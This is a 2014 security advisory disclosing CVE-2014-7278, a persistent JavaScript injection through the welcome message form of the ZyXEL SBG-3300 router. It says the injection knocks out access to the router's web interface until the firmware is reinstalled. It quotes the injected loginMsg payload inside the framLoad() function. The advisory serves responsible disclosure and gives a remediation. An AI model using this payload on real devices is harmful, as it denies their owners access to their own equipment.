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CVE-2014-7278 DoS in ZyXEL SBG-3300 Security Gateway



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#Vulnerability Title: DoS in ZyXEL SBG-3300 Security Gateway
#Date: 02/10/2014
#CVE-ID: CVE-2014-7278
#Product: ZyXEL SBG3300-N series
#Vendor: www.zyxel.com
#Affected Firmware: Latest version at the time of disclosure V1.00(AADY.4)C0 and below (tested)
#Patch: Unpatched
#Authored by: Mirko Casadei
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#Disclosure Timeline:
13/08/2014  Vendor Contact with Acknowledgment 
13/09/2014  No response from Vendor after first contact
02/10/2014  Full Disclosure 

#Technical details:
Abusing the 'welcome message' form, an attacker can inject JavaScript code into a core function of the main login page.
The persistent javascript code injection in the framLoad() function bypass all the security checks and cause a Denial of Service disabling any access to the router web interface.
Access is restored with a new firmware installation.
Example of a working code:
//////// !WARNING! TEST AT YOUR OWN RISK ///////
var loginMsg loads input from the 'welcome message form'
..
function framLoad () {
	var status = '0';
	var count = '';
	var Retry = '';
	var period = '';	
	var loginMsg = '<DoS="javascript:alert('DoS coming!')">';	
	var LockTime;
	var waitTime;
	if ( advancedaccountsecurity == '0' ) {
		loginrandom = '0';
	}
..

#Remediation
The vulnerable form should sanitize input.
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